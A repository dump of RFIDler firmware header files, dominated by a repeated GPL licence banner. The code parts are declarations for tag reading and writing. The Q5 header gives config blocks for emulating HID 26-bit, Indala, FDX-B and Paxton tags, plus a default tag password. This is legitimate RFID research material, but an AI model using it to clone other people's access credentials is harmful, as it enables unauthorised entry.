* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// command byte layout is:
// [A A A A C C D D] [D D D D D D D D]
//
// A = Address
// C = Command
// D = Data
// volatile addresses
#define MCP_ADR_WIPER0 (0x00 << 4)
#define MCP_ADR_WIPER1 (0x01 << 4)
#define MCP_ADR_TCON (0x04 << 4)
#define MCP_ADR_STATUS (0x05 << 4)
// non-volatile addresses
#define MCP_ADR_NV_WIPER0 (0x02 << 4)
#define MCP_ADR_NV_WIPER1 (0x03 << 4)
// commands
#define MCP_CMD_WRITE (0x00 << 2)
#define MCP_CMD_INCREMENT (0x01 << 2)
#define MCP_CMD_DECREMENT (0x02 << 2)
#define MCP_CMD_READ (0x03 << 2)
// error condition
#define MCP_OK_NO_DATA 0xFF
#define MCP_OK_DATA 0xFE
// masks
#define MCP_DATA_MASK 0x03FF
// prototypes
BYTE send_mcp414_command(BYTE command, BYTE address, unsigned int arglen, unsigned int arg, unsigned int retlen, BYTE *retdata);
BYTE get_mcp414_status(BYTE *retdata);
BYTE increment_mcp414(BYTE wiper, BYTE *retdata);
BYTE decrement_mcp414(BYTE wiper, BYTE *retdata);
BYTE get_mcp414_wiper(BYTE wiper, BYTE nv, BYTE *retdata);
BYTE set_mcp414_wiper(BYTE wiper, BYTE nv, unsigned int value, BYTE *retdata);
void show_mcp414_wipers(void);
================================================
FILE: firmware/Pic32/RFIDler.X/include/nvm.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BOOL saveconfig(void);
BOOL checkconfigchanged(void);
BOOL loadconfig(void);
void wipeconfig(void);
void showconfig(void);
================================================
FILE: firmware/Pic32/RFIDler.X/include/paxton.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define PAXTON_DATABITS 64
BOOL paxton_get_uid(BYTE *response);
BOOL paxton_hex_to_uid(BYTE *response, BYTE *hex);
BOOL hex_to_paxton_hex(unsigned char *paxton, unsigned char *hex);
BOOL paxton_hex_to_hex(unsigned char *hex, unsigned char *paxton);
BOOL hex_to_paxton_bin(unsigned char *paxton, unsigned char *hex);
================================================
FILE: firmware/Pic32/RFIDler.X/include/psk.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// definitions for psk emulation devices
unsigned int read_psk1_data(unsigned int period_us, unsigned int ticks, BYTE *data, unsigned int bits, unsigned char *sync, unsigned char syncbits, unsigned int timeout_us, unsigned int min_pulse_us, BOOL oneshot, BYTE format);
void write_bit_psk1(unsigned char mybit, unsigned long time);
void write_bit_psk1_EXT_clock(unsigned char mybit);
BOOL send_psk1_hex(unsigned char *data, unsigned int pulsewidth, unsigned int tpb, unsigned int c0, unsigned int repeat);
BOOL send_psk1_bin(unsigned char *data, unsigned int length, unsigned int pulsewidth, unsigned int tpb, unsigned int c0, unsigned int repeat);
void write_PSK1_HW_clock(unsigned int period, unsigned char *data, unsigned int tpb, unsigned int c0, unsigned int repeat);
void read_PSK1_HW_clock(unsigned int period, unsigned int ticks, BYTE *data, unsigned int bits, unsigned int timeout_us, unsigned int min_pulse_us);
BOOL psk1_raw_get_uid(BYTE *response);
BOOL psk1_raw_hex_to_uid(BYTE *response, BYTE *hex);
================================================
FILE: firmware/Pic32/RFIDler.X/include/q5.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define Q5_SOFT_RESET "00" // reset (test mode)
#define Q5_DIRECT_ACCESS "10" // direct read in pwd or non-pwd mode
#define Q5_WRITE_P0 "10" // write page 0
#define Q5_WRITE_P1 "11" // write page 1
#define Q5_GET_TRACE_DATA "11" // get 64 bits tracebility data
#define Q5_AOR "10" // Answer On Request (wakeup)
#define Q5_MODULATION_DEFEAT "00011" // tell tag to go quiet
#define Q5_READ_CONFIG_BLOCK "100000" // direct read, no PWD, address 000
#define Q5_START_GAP 48 // start gap in FC - range 10 - 50, must be greater than command gap
#define Q5_WRITE_DELAY 1000 // time needed to complete write operation in FC - 648 in the docs, so round up a bit
#define Q5_BLOCKSIZE 32 // blocksize in bits
#define Q5_DATABLOCKS 8 // total number of blocks
#define Q5_CONFIG_BLOCK_NUM 0 // config block number
#define Q5_USER_DATA_BLOCK_NUM 1 // 1st user data block
#define Q5_PW_BLOCK_NUM 7 // password block number
#define Q5_BLANK_BLOCK "00000000"
#define Q5_DEFAULT_PWD "00000000" // default password
// config blocks
#define Q5_DEFAULT_CONFIG_BLOCK "E601F004" // q5 native mode (also em4x02/unique/paxton)
#define Q5_PWD_CONIG_BLOCK "E601F404" // q5 native mode with PWD enabled
#define Q5_AOR_CONIG_BLOCK "E601F804" // q5 native mode with AOR enabled
#define Q5_PWD_AOR_CONIG_BLOCK "E601FC04" // q5 native mode with PWD and AOR enabled
#define Q5_FDXB_CONFIG_BLOCK "E600F0E8" // emulate fdx-b
#define Q5_HID_26_CONFIG_BLOCK "E6018056" // hid 26 bit
#define Q5_INDALA_64_CONFIG_BLOCK "E600F014" // emulate indala 64 bit
#define Q5_INDALA_224_CONFIG_BLOCK "E600F01E" // emulate indala 224 bit
// note that Q5 sends data in LSB order, so everything in the datasheet is effectively reversed
// what is shown as "bit 32" is actually bit 0
// config block masks
#define Q5_MASK_PAGE_SELECT 0b00000000000010000000000000000000
#define Q5_MASK_FAST_WRITE 0b00000000000001000000000000000000
#define Q5_MASK_DATA_BIT_RATE 0b00000000000000111111000000000000
#define Q5_MASK_USE_AOR 0b00000000000000000000100000000000
#define Q5_MASK_USE_PWD 0b00000000000000000000010000000000
#define Q5_MASK_PSK_CARRIER_FREQ 0b00000000000000000000001100000000
#define Q5_MASK_INVERSE_DATA 0b00000000000000000000000010000000
#define Q5_MASK_MODULATION 0b00000000000000000000000001110000
#define Q5_MASK_MAX_BLOCK 0b00000000000000000000000000001110
#define Q5_MASK_ST 0b00000000000000000000000000000001
// config block bit shifts
#define Q5_SHIFT_PAGE_SELECT 19
#define Q5_SHIFT_FAST_WRITE 18
#define Q5_SHIFT_DATA_BIT_RATE 12
#define Q5_SHIFT_USE_AOR 11
#define Q5_SHIFT_USE_PWD 10
#define Q5_SHIFT_PSK_CARRIER_FREQ 8
#define Q5_SHIFT_INVERSE_DATA 7
#define Q5_SHIFT_MODULATION 4
#define Q5_SHIFT_MAX_BLOCK 1
#define Q5_SHIFT_ST 0
// Q5 modulation settings
#define Q5_MOD_MANCHESTER 0
#define Q5_MOD_PSK1 1
#define Q5_MOD_PSK2 2
#define Q5_MOD_PSK3 3
#define Q5_MOD_FSK1 4
#define Q5_MOD_FSK2 5
#define Q5_MOD_BIPHASE 6
#define Q5_MOD_DIRECT 7
BOOL q5_send_command(BYTE *response, BYTE *command, BYTE length, BOOL reset, BOOL sync, BYTE response_length);
BOOL q5_get_uid(BYTE *response);
BOOL q5_hex_to_uid(BYTE *response, BYTE *hex);
BOOL q5_read_block(BYTE *response, BYTE block);
BOOL q5_write_block(BYTE block, BYTE *data, BOOL lock, BOOL verify);
BOOL q5_get_config(BYTE *response);
BOOL q5_login(BYTE *response, BYTE *pass);
BOOL q5_rwd_test(BYTE *pattern);
BOOL q5_config_block_show(BYTE *config, BYTE *password);
BOOL q5_emulate_config_block(BYTE *config, BYTE target_tagtype);
BOOL q5_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count);
================================================
FILE: firmware/Pic32/RFIDler.X/include/read.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
